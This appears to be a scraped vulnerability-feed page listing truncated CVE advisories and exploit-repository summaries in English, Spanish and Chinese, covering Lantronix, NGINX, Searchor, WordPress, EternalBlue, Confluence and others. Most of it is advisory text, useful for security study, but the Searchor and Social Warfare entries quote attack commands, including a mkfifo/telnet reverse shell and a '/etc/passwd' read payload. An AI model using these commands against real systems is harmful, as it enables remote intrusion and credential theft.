EUVD-2026-84523

Lantronix SLC8000 before firmware v9.7.0.5, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a path traversal vulnerability in the web management portal upload endpoint that allows authenticated attackers to write arbitrary data to any location...

CVE-2026-80156 Lantronix Autonomous Out-of-Band Devices Arbitrary File Write via Upload Filename Validation Bypass

Lantronix SLC8000 before firmware v9.7.0.5, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a path traversal vulnerability in the web management portal upload endpoint that allows authenticated attackers to write arbitrary data to any location...

CVE-2026-80156

Lantronix autonomous out-of-band devices (SLC8000, EMG8500, EMG7500, SLB882, SLCx-03, SLCx-02) are affected by a path traversal vulnerability in the web management portal upload endpoint. The root cause is that the filename validation strips backslash characters but fails to subsequently check fo...

CVE-2026-4253-Scanner

CVE-2026-42530 — Escáner Safe-Check Escáner masivo no destructivo para el use-after-free de NGINX HTTP/3 QUIC Inventario de qué hosts están expuestos — sin desencadenar el fallo. ⚠️ Aviso legal Esta herramienta es solo para pruebas de seguridad autorizadas — tu propia infraestructura o sistemas...

CVE-2026-80155

Lantronix SLC8000 (before firmware v9.7.0.5 ), EMG8500/EMG7500 (before v9.7.0.1 ), and all firmware versions of SLB882/SLCx-03/SLCx-02 are affected by an unauthenticated authentication bypass in the web management portal upload endpoint. The root cause is a snprintf call with a fixed-size buffer ...

EUVD-2026-84521

Lantronix SLC8000 before firmware v9.7.0.5, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain an authentication bypass vulnerability in the web management portal upload endpoint that allows unauthenticated attackers to read sensitive configurati...

CVEs

CVE-2022-2992: Ejecución remota de comandos mediante importación de Github Información Descripción: Esto permite a un usuario autenticado lograr la ejecución remota de código a través del endpoint de la API Import from GitHub. Versiones afectadas: todas las versiones desde 11.10 anteriores a...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE 漏洞利用（PoC） 通过 Searchor（ --test 执行自定义命令 在目标服务器上运行任意命令： root@kitploit: python3 CVE-2023-43364.py -a "whoami" 示例： root@kitploit: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls -la" 反弹 Shell 在你的机器上启动监听器：...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPress 插件 RCE system'cat /etc/passwd' ✅ 第 2 步 – 启动 Python HTTP 服务器 使用 Python 提供你的 payload 服务： root@kitploit: python3 -m http.server 8000 这将使你的 payload.txt 可通过以下地址访问： root@kitploit: http://:8000/payload.txt ✅ 第 3 步 – 运行利用脚本 root@kitploit: python3 CVE-2019-9978.py...

cve-2017-0143

利用CVE-2017-0143 - EternalBlue漏洞 📌 描述 该项目演示了如何在受控环境中利用CVE-2017-0143漏洞（EternalBlue），用于教育和渗透测试目的。攻击是在Windows 7系统上使用Metasploit框架执行的。 🔍 关于CVE-2017-0143 CVE-2017-0143是Windows系统中SMBv1协议的一个严重漏洞。它允许远程攻击者通过特制数据包执行任意代码，导致远程代码执行（RCE）。该漏洞是2017年Shadow Brokers泄露的EternalBlue利用工具的一部分。 类型：远程代码执行 受影响系统：Windows...

CVE-2026-95500

A vulnerability has been found in JosephChuks php-file-manager-with-code-editor up to 3.0. Impacted is the function fileputcontents of the file codeEditor.php of the component Save Handler. The manipulation of the argument filename/content leads to unrestricted upload. The attack is possible to b...

CVE-2026-84388

A improper restriction of rendered ui layers or frames vulnerability in Fortinet FortiPAM Chrome Extension 8.0 all versions, FortiPAM Chrome Extension 7.4 all versions may allow attacker to information disclosure via remote unauthenticated attack...

CVE-2026-24239

NVIDIA NeMo Speech for all platforms contains a vulnerability where malicious data created by an attacker could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, information disclosure, and data tampering...

CVE-2026-77619 Vector: Unauthenticated denial of service in the `logstash` source via unbounded memory allocation.

Vector is a high-performance observability data pipeline. From 0.15.0 until 0.57.0, the logstash source reads a 32-bit compressed-frame length from the network and uses it to size an in-memory buffer without an upper bound. An unauthenticated remote peer that can reach the default 0.0.0.0:5044...

CVE-2025-65817

CVE-2025-65817 Campos| Valor ---|--- Título| Informe de vulnerabilidad: LSC Smart Connect Camera Fecha| 2024-02-15 Descripción| Abusando del hook de actualización de la tarjeta SD para lanzar shells remotas en cámaras LSC Smart Connect. Etiquetas| iot, vulnerabilidad, cve Firmware| 1.14.13 Inform...

CVE-2022-31691

CVE-2022-31691 Un análisis de mi hasta ahora inconcluyente investigación sobre CVE-2022-31691. Antecedentes Soy usuario frecuente de Spring Tool Suite STS para Eclipse y suelo confiar en él para inicializar nuevos proyectos Spring Boot. Esta vulnerabilidad ver...

CVE-2019-3396

CVE-2019-3396 CVE-2019-3396 Confluence SSTI RCE 🔎 什么是 CVE-2019-3396？ 一个严重的 Confluence 漏洞 （Atlassian）。 类型：模板注入 + 路径遍历 。 风险：无需登录即可远程代码执行（RCE） 。 状态：已在野外被利用 。 🛑 受影响的版本 6.6.0 → 6.6.11 ❌ 受影响 6.6.12 ✅ 已修复 6.12.0 → 6.12.2 ❌ 受影响 6.12.3 ✅ 已修复 6.13.0 → 6.13.2 ❌ 受影响 6.13.3 ✅ 已修复 6.14.0 → 6.14.1 ❌ 受影响 6.14.2 ...

gstreamer1-plugins-good: gst-plugins-good: unbounded memory growth in rtph264depay and rtph265depay RTP depayloaders

A flaw was found in the GStreamer gst-plugins-good package. The rtph264depay and rtph265depay RTP depayloader elements do not enforce a maximum size limit on the reassembly buffer used during fragmented RTP packet processing. A remote, unauthenticated attacker can send a continuous stream of RTP...

CVE-2026-76890

A flaw was found in Wireshark's sharkd component. A remote attacker could exploit an expired pointer dereference, which leads to a crash in the sharkd service. This vulnerability could result in a denial of service DoS for affected systems, requiring user interaction to trigger the flaw. Mitigati...

ipmitest

ipmitest Script de shell para probar la vulnerabilidad de omisión de autenticación de cifrado tipo cero en IPMI CVE-2013-4784 La IPMI es una interfaz estandarizada de sistema informático utilizada por los administradores de sistemas para la gestión fuera de banda de los sistemas informáticos y la...